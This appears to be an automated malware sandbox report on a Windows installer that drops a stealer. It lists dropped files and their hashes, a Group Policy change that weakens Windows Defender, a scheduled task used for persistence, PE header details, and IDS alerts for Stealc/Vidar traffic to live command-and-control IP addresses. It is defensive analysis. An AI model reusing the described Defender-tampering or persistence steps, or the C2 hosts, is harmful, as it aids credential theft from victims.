Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s...;.T.h.r.e.a.t.s._.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.2.5.4.5.1...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.5.6.5.9.6...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.4.2.8.7.2...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.T.h.r.e.a.t.s.\.T.h.r.e.a.t.I.d.D.e.f.a.u.l.t.A.c.t.i.o.n...;.2.1.4.7.7.4.9.3.7.3...;.....;.....;.6...].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268
Entropy (8bit):	4.9507895998010145
Encrypted:	false
SSDEEP:	6:1QnMzYHxbnPonn3dXsMzYHxbnn/JIAuNhUHdhJg+5Rnn3dzC:1QM0HxbnIV0Hxbn/JnumuuzC
MD5:	A62CE44A33F1C05FC2D340EA0CA118A4
SHA1:	1F03EB4716015528F3DE7F7674532C1345B2717D
SHA-256:	9F2CD4ACF23D565BC8498C989FCCCCF59FD207EF8925111DC63E78649735404A
SHA-512:	9D9A4DA2DF0550AFDB7B80BE22C6F4EF7DA5A52CC2BB4831B8FF6F30F0EE9EAC8960F61CDD7CFE0B1B6534A0F9E738F7EB8EA3839D2D92ABEB81660DE76E7732
Malicious:	true
Preview:	[General].gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F1}].gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}{D02B1F72-3407-48AE-BA88-E8213C6761F1}].Version=100001.

C:\Windows\Tasks\biPxHmULFllsbMgnpt.job

Download File

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	data
Category:	dropped
Size (bytes):	438
Entropy (8bit):	3.5275280515951626
Encrypted:	false
SSDEEP:	6:DT0QXDZXk/G5ZsUEZ+lX1Y2GbdyWRYr7t9SnkTlYzb5ZsUEZ+lX1Y2Gbd8lKqYE6:5Tl4Q1brWGeQzQ1bLl6XVx
MD5:	39ED999F18E7C334E700564F40C68DAD
SHA1:	1F1461595B96D0AE21944D390365F23877A11C18
SHA-256:	93C84039723C325C1AFE37683FA92A417C5C05A4FF9B1D5468C730D07B1A8AE9
SHA-512:	C000554ECB9EB2B558AB271F11AFF6592938478EFF5C56FEAC3732F98893029265B44B430A963834EF4BD3787F38C2B64550967376740275A5EFE364DCBB7F3B
Malicious:	false
Preview:	........bd.I.5.S,..aF.......<... .....s...............................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.9.C.F.F...t.m.p.\.I.n.s.t.a.l.l...e.x.e.....W.t. ./.Q.Q.n.d.i.d.S.C.w.P. .3.8.5.1.2.8. ./.S.../.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.9.C.F.F...t.m.p.....A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...............................................

C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ySPgHoN.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6749184
Entropy (8bit):	7.789220407191343
Encrypted:	false
SSDEEP:	196608:FL4X13u2HKA5q6G/Ne+XaiFh6cCClKPjj79:FL/As6G0+TGbH
MD5:	90487EB500021DBCB9443A2CF972A204
SHA1:	62AE31665D462C8E5D6632F389B1E94AFB9BF00D
SHA-256:	4A86CA84B985A5228ECCD13F225BB403E9574E7F64B900A9ACC4D32BCB732FF2
SHA-512:	8CB3B1AE44246BEE8BF2B81220D7A5782C4E82B2B871A81BDC9EA170FBE477D7BE59C3543554F2CDEFDE7422BCC88B6624B966DFF1603C79D277329FB2074D17
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........`d.T...T...T...YS..L...YS..%...YS..\|......E...T..........Y......U...RichT...........................PE..L....{.`......................_...................@..........................@g......5g...@.................................4.f......0g.......................g.......................................f.@.............f.4............................text...E........................... ..`.data....H_......(_.................@....idata........f.......f.............@..@.GIU..........f.......f.............@....reloc........g.......f.............@..B.rsrc........0g.......f.............@..@........................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421451334291246
Encrypted:	false
SSDEEP:	6144:fSvfpi6ceLP/9skLmb0OTsWSPHaJG8nAgeMZMMhA2fX4WABlEnNu0uhiTw:qvloTsW+EZMM6DFyE03w
MD5:	213F2004D36130BE20E8CE4F703EDBAC
SHA1:	791182DB226195718D9E3417E17E244511A6120D
SHA-256:	964E2BF38030DB1B96D0EE016409581969400CC32AFBF8DF0DA6D603BEA8566F
SHA-512:	DFF2F5D0F209E46E7CA28D5851A55F2AC2B20A27499E606D3A377C8D4F1A8E591AC454A6FCF70B0CEA94E4DBE71C41D487EA1094ACBBA5385150000A8B56AEA4
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmV.9.................................................................................................................................................................................................................................................................................................................................................I./5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.837326145256008
Encrypted:	false
SSDEEP:	3:YwM2F6ELdADAeGAMm96XyzGc7OS4Ql:Yw7663eG8FzGQR
MD5:	C1028F4DC91171021CC811DEC5CBD173
SHA1:	72358DE1D13924E08B33CE14A9D1E0BB0E04DFB1
SHA-256:	8D4075306F058EFA27EBCCDA57983F28F196141049701D07E044B7EA17F21B12
SHA-512:	72DC710CB1DE2D86121A7FAF4FE93D64B8A0FB9C9C7848A7A1ACA9BC429040CA8565C48861F53107A9709AAB2235DF6953AEF9282F382BE960344CD1E08735A9
Malicious:	false
Preview:	Executing (MSFT_MpPreference)->Add()...ERROR:...Description = Generic failure...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	6.8748973019131965
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	50'907 bytes
MD5:	6781c522f3390cc4947959d168e61bbc
SHA1:	8c94b577b260a9a1606af373ee25ab65478d797d
SHA256:	1c6bb4115d8b51391fd600bc70d88a8e9cc9e6406cd7f626087ff4cead341784
SHA512:	e6478ff7939e4527814539962959f0a2f869960796d392f2b97b5e5a1d371319bf4d060fe1f095b29250797eb9a9d0ba934c270d838837651dc9f5db4ca9b7de
SSDEEP:	1536:XferrLkSRoe8C4UZsys0Dh1duFpmFI+PlU:Xfi3k+oWDBDh1duFpbWlU
TLSH:	3533BF11E7A0C077D9F2037228363BA75FFA952616E45B0743502F5D7CA3A82E91F7A2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L...l..d.................j.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x403532
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64A0DC6C [Sun Jul 2 02:09:48 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007F32394DEFCAh
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007F32394DEF98h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x45000	0xa60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68d8	0x6a00	742185983fa6320c910f81782213e56f	False	0.6695165094339622	data	6.478461709868021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	9a9bf385a30f1656fc362172b16d9268	False	0.5247395833333334	data	4.172601271908501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x45000	0xa60	0xc00	ab05031282d8b9e3df8bfa33b3082562	False	0.4033203125	data	4.200347469292657	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x45190	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x45478	0x100	data	English	United States	0.5234375
RT_DIALOG	0x45578	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x45698	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x456f8	0x14	data	English	United States	1.2
RT_MANIFEST	0x45710	0x349	XML 1.0 document, ASCII text, with very long lines (841), with no line terminators	English	United States	0.5517241379310345

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/26/24-11:06:08.386142	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49712	80	192.168.2.5	185.172.128.76
04/26/24-11:06:08.736331	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49712	185.172.128.76	192.168.2.5
04/26/24-11:06:02.375304	TCP	2856233	ETPRO TROJAN Win32/Unknown Loader Related Activity (GET)	49708	80	192.168.2.5	185.172.128.90
04/26/24-11:06:08.008281	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49712	80	192.168.2.5	185.172.128.76
04/26/24-11:06:07.450844	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49712	80	192.168.2.5	185.172.128.76
04/26/24-11:06:08.360675	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49712	185.172.128.76	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 11:05:56.343606949 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.343708992 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.343822956 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.352705956 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.352741957 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.611247063 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.611351013 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.664709091 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.664755106 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.665031910 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.665085077 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.667249918 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.712126970 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.907130003 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.907181978 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.907207012 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.907222986 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:56.907248974 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.907274961 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.914086103 CEST	49704	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:56.914103031 CEST	443	49704	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.044799089 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:58.044841051 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.044919014 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:58.052114964 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:58.052130938 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.306617022 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.306819916 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:58.308070898 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:58.308079004 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.308291912 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.315723896 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:58.360121965 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.613383055 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.613857985 CEST	443	49705	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:58.613914013 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:58.617022038 CEST	49705	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:59.428260088 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:59.428349018 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:59.428466082 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:59.430593967 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:59.430622101 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:59.691199064 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:59.691289902 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:59.693125963 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:59.693154097 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:59.693572998 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:05:59.700733900 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:05:59.748138905 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:00.019396067 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:00.019486904 CEST	443	49706	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:00.019582033 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:00.020170927 CEST	49706	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:00.022083044 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.261636019 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.261734009 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.261848927 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.501255035 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501694918 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501713991 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501732111 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501750946 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501807928 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501830101 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501842022 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501852989 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501877069 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501899958 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.501921892 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.501981974 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.501981974 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.742254972 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742269993 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742289066 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742300987 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742314100 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742335081 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742350101 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742362976 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742379904 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742392063 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742387056 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.742410898 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742419004 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742425919 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742436886 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742455959 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.742491961 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742515087 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.742542028 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742603064 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.742657900 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742711067 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742769003 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.742801905 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742841959 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.742901087 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982007980 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982024908 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982059956 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982098103 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982122898 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982194901 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982244968 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982289076 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982343912 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982358932 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982450008 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982517004 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982527971 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982630968 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982683897 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982707977 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982799053 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982815027 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982867002 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982892990 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982944012 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.982943058 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.982990026 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983035088 CEST	49707	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:00.983042955 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983104944 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983148098 CEST	80	49707	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:00.983153105 CEST	49707	80	192.168.2.5	185.172.128.59
